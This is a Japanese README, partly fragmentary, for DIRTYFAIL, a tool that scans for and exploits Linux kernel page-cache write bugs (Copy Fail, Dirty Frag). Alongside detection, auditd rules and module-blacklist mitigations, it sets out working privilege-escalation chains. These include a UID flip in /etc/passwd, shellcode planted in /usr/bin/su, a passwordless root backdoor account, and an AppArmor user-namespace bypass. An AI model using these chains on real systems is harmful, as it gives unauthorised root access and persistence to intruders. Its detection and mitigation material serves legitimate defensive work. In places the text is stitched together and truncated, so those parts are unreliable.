| `--cleanup-su` | 状態ファイルから`/usr/bin/su`エントリポイントバイトを復元 |
| `--list-state` | 現在何が仕掛けられているかを報告(副作用なし) |
**防御(rootが必要):**
| モード | 機能 |
|---|---|
| `--mitigate` | `algif_aead`/`esp4`/`esp6`/`rxrpc`モジュールをブラックリスト化;`apparmor_restrict_unprivileged_userns=1`を設定;`drop_caches`。副作用:IPsec、AFSが使えなくなる |
| `--cleanup-mitigate` | `--mitigate`でインストールされたmodprobe/sysctlファイルを削除 |
**共通オプション:**
| フラグ | 効果 |
|---|---|
| `--no-shell` | 悪用成功後、`execve su`を実行せず — 確認して元に戻す |
| `--no-revert` | `--no-shell`と共に使用し、自動復元もスキップ(コンテナエスケープデモで使用) |
| `--active` | `--scan`/`--check-*`にアクティブなセンチネルSTOREプローブを追加 |
| `--json` |(`--scan`と共に)機械可読出力を生成 |
| `--no-color` | ANSIカラーを無効化 |
| `--aa-bypass` |(DEBUGのみ)AppArmor非特権usernsバイパスを強制 — 悪用は内部でこれを行う、§8.5参照 |
### 検出例
プレーンスキャン(前提条件のみ — 高速、約1秒):```sh
./dirtyfail --scan
CVEごとのアクティブセンチネルプローブ(約10秒、/tmp内のセンチネルのみを変更):```sh
./dirtyfail --scan --active
JSON for SIEM/fleet ingestion:
SIEM/フリート取り込み用のJSON:```sh
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
ステータス値: vulnerable, not_vulnerable, preconds_missing, test_error。サマリーは結果全体で最も悪い状態を反映します。
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
各エクスプロイトは、`DIRTYFAIL` + (該当する場合)
`YES_BREAK_SSH` をページキャッシュの変更前に要求します。
### 状態検査 + クリーンアップ```sh
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
または、直接カーネルにフォールスルーします:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
---
## 7. DIRTYFAILが各CVEを検出する方法
### Copy Fail(アクティブセンチネルプローブ)
検出は実際に`/tmp`内のセンチネルファイルに対してプリミティブをトリガーします:
1. `socket(AF_ALG, SOCK_SEQPACKET, 0)`をプローブし、`authencesn(hmac(sha256), cbc(aes))`にバインドします。
2. `/tmp`に4 KiBのセンチネルファイルを作成し、その最初のページをキャッシュにフォールトインします。
3. それに対して完全なエクスプロイトプリミティブを実行します:`seqno_lo = "PWND"`で`sendmsg` AADを送信し、センチネルの32バイトをAF_ALGオペレーションソケットにスプライスし、`recv`を駆動してスクラッチ書き込みを発火させます。
4. センチネルを再読み取りし、最初のページのどこかに`PWND`がないか確認します。
マーカーが見つかった⇒脆弱。マーカーがないがページ内容が異なる⇒プリミティブが部分的に発火した(依然として脆弱)。ページが同一⇒このカーネルでは脆弱ではない。
### Dirty Frag xfrm-ESP(前提条件ベース — または`--active`でアクティブ)
デフォルトの`--scan`は前提条件のみです — 検出モードではユーザーネームスペースに入りません(そのネームスペース内のネットワーキングに副作用を及ぼすため)。チェック内容:
* 影響を受けるウィンドウ内のカーネルバージョン
* `esp4` / `esp6`が現在ロードされているか、自動ロード可能
* 非特権ユーザーネームスペースの作成が成功する(fork → 子プロセスでの`unshare(CLONE_NEWUSER)`によりプローブ)
* AppArmorの`apparmor_userns_caps_blocked()`がfalseを返す
これら4つすべてが揃う⇒脆弱(前提条件を満たす)。
`--scan --active`はこれをセンチネルSTOREプローブで拡張します:AAバイパスを有効にし、新しいユーザー/ネットネームスペースに入り、XFRM SAを登録し、`/tmp/dirtyfail-esp-probe.XXXXXX`センチネルファイルに対してESP-in-UDPトリガーを発火させる子プロセスをフォークします。親プロセスはセンチネルを再読み取りし、マーカーバイトを探します:
* マーカーが書き込まれた→カーネルSTOREが到達可能→**脆弱**
* ページがそのまま→カーネルパッチが有効→**脆弱ではない**
* AAバイパスが拒否された→**PRECOND_FAIL**(LSMにより緩和)
これは、`/etc/passwd`に対して完全なUIDフリップエクスプロイトを実行することなく、バックポートパッチされたカーネルとパッチされていないカーネルを区別する唯一の方法です。同じパターンは、`--active`下のESP v6、RxRPC、GCMでも使用されます。
### Dirty Frag RxRPC(前提条件ベース — または`--active`でアクティブ)
前提条件:
* `/proc/modules`に`rxrpc`があるか、自動ロード可能
* `socket(AF_RXRPC, SOCK_DGRAM, 0)`が成功する
アクティブプローブ(`--active`):AAバイパスを経由してフォークし、任意の8バイト値でrxrpcセッションキーを登録し、`/tmp`センチネルに対して1つのCHALLENGE + DATA偽造を送信し、スプライスされた8バイトウィンドウ内の任意のバイト変更を探します。何が書き込まれたかを予測しようとはしません — 変更があれば、カーネルSTOREが発火したことを確認します。
### Copy Fail GCMバリアント + ESP v6 — 同様の形状
GCMバリアントのアクティブプローブは、任意のIVでトランスポートモードSAをインストールし、`/tmp`センチネルに対して`gcm_trigger`を発火させます;sentinel[0]の任意のバイト変更が到達可能性を確認します。ESP v6プローブはまた、カーネルビルドごとに`V6_STORE_SHIFT`を自動調整します(`src/dirtyfrag_esp6.c`の`calibrate_v6_shift`を参照) — 異なるディストリビューションの`esp6_input`ビルドでは、STOREがスプライスされた領域内のわずかに異なるオフセットに配置され、キャリブレーションプローブが実際のエクスプロイト発火前に正確なオフセットを発見します。
---
## 8. DIRTYFAILが各CVEを悪用する方法
### Copy Failエクスプロイト(`copyfail.c`)
`algif_aead`を介した単一の4バイトSTORE:```
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
dirtyfrag_esp.c)Copy Fail と同じ最終状態ですが、xfrm_input を経由して到達し、
algif_aead ではありません:```
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
その後、名前空間を終了し、親プロセスから `execlp("su", user)` を実行 — Copy Failと同じ最終ステップ。
### Dirty Frag RxRPC エクスプロイト (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
[/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
--exploit-su シェルコードインジェクション (exploit_su.c)V4belのリファレンス
エクスプロイトに基づいた、2つ目の/etc/passwdを使用しない攻撃チェーン。/etc/passwdのページキャッシュを編集する代わりに、
アーキテクチャ固有のシェルコードを/usr/bin/suのELFエントリポイントの
ページキャッシュに配置します。次に誰かが/usr/bin/suを実行すると、
カーネルはディスク上のsetuidビットからeuid=0を設定し、
動的リンカが解決し、制御がシェルコードに移り、→ 実init-nsルートとして
/bin/shが起動します。PAM依存関係はなく、pam_unix nullokの
削除を完全にバイパスします。```
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
Architecture matrix:
* **x86_64 (56バイト, 14個の連続4バイト書き込み)** — Fedora 44でエンドツーエンドテスト済み (`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`)。シェルコードは `shellcode_x86_64[]` にあります。
* **aarch64 (80バイト, 20命令)** — ARMv8-Aリファレンスから手動エンコード、**ハードウェア上では未実行**。`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` でガード。ソースは `tools/exploit_su_aarch64.S` に含まれており、コミュニティによる検証用 — `aarch64-linux-gnu-as` でアセンブルし、バイトシーケンスが `shellcode_aarch64[]` と一致することを確認してください。
* その他 → preconds_fail.
状態ファイル `/var/tmp/.dirtyfail-su.state` は、元のエントリポイントのバイトを保存しており、`--cleanup-su` が復元できるようにします。`--list-state` はこのファイル(およびバックドアのもの)を、何も触らずに検査します。
検証ステップで、ページキャッシュが仕掛けられたシェルコードと一致しない場合(カーネルがパッチ済み、AF_ALGがブラックリスト入りなど)、自動復元が即座に発動し、状態ファイルは削除されます — オペレーターが後でcleanup-suを実行する必要はありません。
---
## 8.5 アーキテクチャ: 外部/内部フォークベースのバイパス
5つのエクスプロイトモードはすべて、Ubuntuの `apparmor_restrict_unprivileged_userns=1` ポリシーを処理するための共通アーキテクチャを共有しており、エクスプロイト後の `su` を、実際のinit-nsルートに到達できないuserns内に閉じ込めることを回避します。
### 問題
単純なバイパスでは、`dirtyfail` プロセス全体を `unshare(CLONE_NEWUSER)` で新しいユーザー名前空間内に配置します。これによりXFRM SAの登録やspliceトリガーの発火は可能ですが、最終的な `execlp("su", user)` がuserns内で実行されることになり、uid 0 は `uid_map "0 1000 1"` によってオペレーターの外部uid (1000) にマッピングされます。するとPAMの `setresuid(0)` は userns-uid-0-mapped-to-1000 に到達します。これは**実際の** init-nsルートではありません — `cat /etc/shadow` はEACCESを返し、シェルは特権操作を実際には実行できません。
### 修正: 外部/内部分割```
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch <mode>_inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
親プロセスはユーザ名前空間に入ることはありません。子プロセスはバイパスとカーネル作業を行い、グローバルページキャッシュ(名前空間間で共有されています — 必要な唯一の「橋」)を変更して終了します。親プロセスの su は、通常のinit名前空間のsetresuid呼び出しになります。
execv は環境を保持するため、親はフォークする前に操作パラメータを環境変数に格納します。各モードは独自のものを定義します:
バイパスのステージ2が完了すると、main() は DIRTYFAIL_INNER_MODE をチェックし、<mode>_exploit_inner() にディスパッチします。内部関数はカーネル作業のみを行い(プロンプトなし、フォークなし、su なし)、結果コードで終了します。親プロセスは waitpid でそれを回収し、検証に進みます。
以前の2ホップ方式(change_onexec("crun") → change_onexec("chrome"))では、Ubuntu 24.04の実行チェーンにおいて断続的な ENOSPC エラーが発生しました(おそらくプロファイルごとのusernsアカウンティングの不具合)。crun へのシングルホップで十分です — crun のAppArmorプロファイルには flags=(unconfined) と明示的な userns, 権限があるため、unshareは成功し、その状態が維持されます。
ステージ2が正常に完了すると、プロセスローカルの g_bypass_done フラグが設定されます。同じプロセス内で再度 apparmor_bypass_needed() が呼び出されると、false にショートサーキットされ、エクスプロイト後のコードが再アームして別のusernsレイヤーをネストするのを防ぎます(以前はこれによりper-usernsネスト上限 ENOSPC に達していました)。
--aa-bypass はデバッグ専用フラグになりました以前のアーキテクチャでは、--aa-bypass はエクスプロイトディスパッチの前にプロセス全体のバイパスを準備していました。新しいアーキテクチャでは、エクスプロイトモードが内部で独自のフォークベースのバイパスを実行するため、通常の使用ではこのフラグは不要になりました。これはバイパス機構を単体でデバッグするために保持されています(例:バイパスuserns内で --scan を実行する場合)。ただし、エクスプロイト後の su を壊す可能性があるという警告があります。
a664bf3d; バックポートは6.12 / 6.17 / 6.18安定版に取り込まれました。algif_aead をブラックリスト化: ```sh
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf
sudo rmmod algif_aead 2>/dev/null
⚠ 注記:これは Dirty Frag を緩和しません。xfrm-ESP パスは algif_aead を経由せずに同じ authencesn プリミティブに到達します。
f4c50a4034e6(2026-05-07 マージ)。ディストリビューションのバックポートは 2026-05-08 現在展開中。esp4 と esp6 をブラックリストに追加: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF'
install esp4 /bin/false
install esp6 /bin/false
EOF
sudo rmmod esp4 esp6 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ これはIPsec / strongSwan / libreswan VPNを壊します。 3. 多層防御: 非特権ユーザ名前空間を禁止する。 UbuntuはデフォルトでAppArmorを介してこれを行います。他のディストリビューションでは: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0
### Dirty Frag RxRPC (CVE-2026-43500)
1. **まだ上流のパッチはありません。** 研究者パッチがlkml上にありますが、執筆時点(2026-05-08)ではマージされていません。
2. **暫定対応**: `rxrpc` をブラックリストに追加: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ これはAFS分散ファイルシステムクライアントを破壊します。ほとんどのサーバーはrxrpcを必要としません。
sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '
### Or use `dirtyfail --mitigate`
同じ一連の緩和策は、入力確認によるゲート付き防御モードにラップされています:```sh
sudo ./dirtyfail --mitigate
これは /etc/modprobe.d/dirtyfail-mitigations.conf と /etc/sysctl.d/99-dirtyfail-mitigations.conf を配置し、4つのモジュールをアンロードして drop_caches を実行します。sudo ./dirtyfail --cleanup-mitigate で元に戻します。副作用: IPsec、AFSクライアント、および AF_ALG AEAD を使用する任意のユーザースペースが機能しなくなります。完全なシステム管理者のプレイブックについては docs/DEFENDERS.md を参照してください。
パッチ適用とは独立した継続的な検出のために:
dirtyfail --scan --active (完全な sentinel-STORE プローブ)、または SIEM/フリート取り込み用の dirtyfail --scan --active --json。tools/dirtyfail-check.sh の bash バリアントにはビルド依存関係がありません。tools/99-dirtyfail.rules は、エクスプロイトチェーンが使用する5つのシステムコールパス (XFRM netlink 登録、add_key("rxrpc")、unshare(CLONE_NEWUSER)、AF_ALG ソケット作成、/etc/passwd//etc/shadow 書き込み) をカバーするドロップイン auditd ルールセットです。以下でインストール: ```sh
sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/
sudo augenrules --load && sudo systemctl restart auditd
tools/dirtyfail-container-escape.sh は、カーネルページ
キャッシュが名前空間間で共有されていることを示しています — クロス
テナントの影響を運用者に説明するのに役立ちます。DIRTYFAILは研究ツールです。カバーする脆弱性は
すでに公開されており、悪用可能なPoCが実際に存在しています
(クレジットを参照)— DIRTYFAILは検出範囲、
統一されたドキュメント、そしてより穏やかなPoCバリアント(ELF
/usr/bin/su の上書きではなくUIDフリップ)を追加します。
--exploit-* モードを実行しないでください。
ページキャッシュの変更は
drop_caches で元に戻せますが、それでも特権昇格が発生している間は
持続します。/tmp にセンチネルファイルを開き、
カーネル暗号APIを実行します。これら3つの機能は、最初に 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo で公開された技術でDIRTYFAILを拡張します。
DIRTYFAILスタイルで再実装されました。
オリジナルのクレジットは NOTICE.md にあります。
CVE-2026-43284と同じxfrm-ESP no-COWパスですが、
authencesn(...) の代わりに rfc4106(gcm(aes)) を使用します。これが
authencesnバリアントと一緒に提供する価値がある2つの理由:
algif_aead をブラックリスト化してCopy Fail(CVE-2026-31431)を緩和した防御者は、
ここでも脆弱です — GCM
パスはalgif_aeadを通りません。1バイトプリミティブ(cfg_1byte_write)により、永続的な
バックドアモードが実現可能になります。
--exploit-backdoor は、シェルが {nologin, false, sync} の中にある最も長い /etc/passwd 行を選択し、
それを1バイトずつ dirtyfail::0:0:<pad>:/:/bin/bash で上書きします(長さ一致)。
インストール後、
任意のユーザーからの su - dirtyfail でルートシェルが得られます — パスワードプロンプトなし —
なぜなら pam_unix.so nullok が空のパスワードフィールドを受け入れるからです。
ユーザー名 dirtyfail は意図的にこのプロジェクトにブランド化されており、
その後の監査で 簡単に検出できる ようになっています — grep dirtyfail /etc/passwd(または同様のHIDS)を実行する防御者は
すぐにその行を見つけることができます。
特定のレッドチーム演習で別の識別子が必要な場合は、
src/backdoor.c の NEW_USER と DF_PREFIX を変更してください。
ディスク上のファイルは変更されません。置換はページ
キャッシュ内のみに存在します。--cleanup-backdoor は同じプリミティブを使用して元の行を復元します。
Ubuntu 24.04+ では apparmor_restrict_unprivileged_userns=1 が搭載されています。
非特権バイナリに適用されるデフォルトプロファイルでは、unshare(USER) は成功しますが、
新しい名前空間では CAP_NET_ADMIN が削除 されます。XFRM SA
の登録はその後静かに失敗します。
バイパス:/proc/self/attr/exec に "exec crun" と書き込み、
execv でAppArmorの crun プロファイルに切り替えます。このプロファイルは
flags=(unconfined) と明示的な userns, パーミッションを持っています。
exec後、unshare(CLONE_NEWUSER | CLONE_NEWNET) は新しい名前空間内で完全な
ケイパビリティで成功します。
DIRTYFAILはこれを exploitモードごとに フォークで処理します。親は
init名前空間に留まり、子がバイパス+カーネル作業を行い、親が
グローバルページキャッシュを読み取り、実際のinit名前空間ルートになるために su を実行します。
§8.5 アーキテクチャ を参照
して完全なチェーンを確認してください。従来の --aa-bypass フラグ(プロセス全体のバイパスを有効化)は
デバッグ目的でのみ保持されています。
元の手法は0xdeadbeefnetwork(Brad Spengler / grsecurityにクレジット)による aa-rootns.c からのものです。
DIRTYFAILの実装:
kernel.apparmor_restrict_unprivileged_userns で検出します。
sysctlを使用し、/proc/self/attr/current を読み取るのではありません(Ubuntu 24.04ではポリシーが制限している場合でも "unconfined" と表示されます)。crun → chrome 方式ではなく、crun への1ホップを使用します。
2ホップ目はUbuntu 24.04で断続的な ENOSPC を引き起こしました。g_bypass_done フラグを設定し、再チェックが
ショートサーキットするようにします(以前にユーザー名前空間あたりのネスト上限を使い果たしていた無限の再実行ループを防止)。DIRTYFAILはオリジナルコードですが、実装されている手法は以下の研究者によって開発されました。 このツールを展開する前に、彼らの一次情報源を読んでください。 それらが正規のリファレンスです。
パッチ作成者:
f4c50a4034e6 (Dirty Frag xfrm-ESP) — Hyunwoo Kimのv1パッチに基づく、
Kuan-Ting Chenによるマージされたshared-fragアプローチを使用。MIT。 LICENSE を参照。
このリポジトリでIssueを開くか、コミット履歴に記載されているアドレスまでご連絡ください。 関連する問題の協調的な開示については、 上記の上流研究者に直接連絡してください。
| モード | 環境変数 |
|---|
esp / esp6 / gcm | DIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER |
rxrpc | DIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (16進数) — fcryptのブルートフォースは親で発生します(ケーパビリティ不要); 実際のトリガー用にキーが子に渡されます |
backdoor-install / backdoor-cleanup | DIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE |
| Source | Researcher | Contribution |
|---|
| https://copy.fail/ | Anonymous | オリジナルのCopy Fail開示 |
| https://github.com/Smarttfoxx/copyfail | Smarttfoxx | C PoC (shellcode-in-suバリアント) |
| https://github.com/rootsecdev/cve_2026_31431 | rootsecdev | Python検出器 + UIDフリップPoC; DIRTYFAILの --exploit-copyfail モードの人間工学はこのアプローチに従います。 |
| https://github.com/V4bel/dirtyfrag | Hyunwoo Kim (@v4bel) | Dirty Fragの発見、フルチェーンPoC、カーネルパッチ |
| https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo | 0xdeadbeefnetwork | GCMバリアントエクスプロイト、IPv6 PoC、AppArmor usernsバイパス技術 |
| https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/ | BleepingComputer | 公開報道 |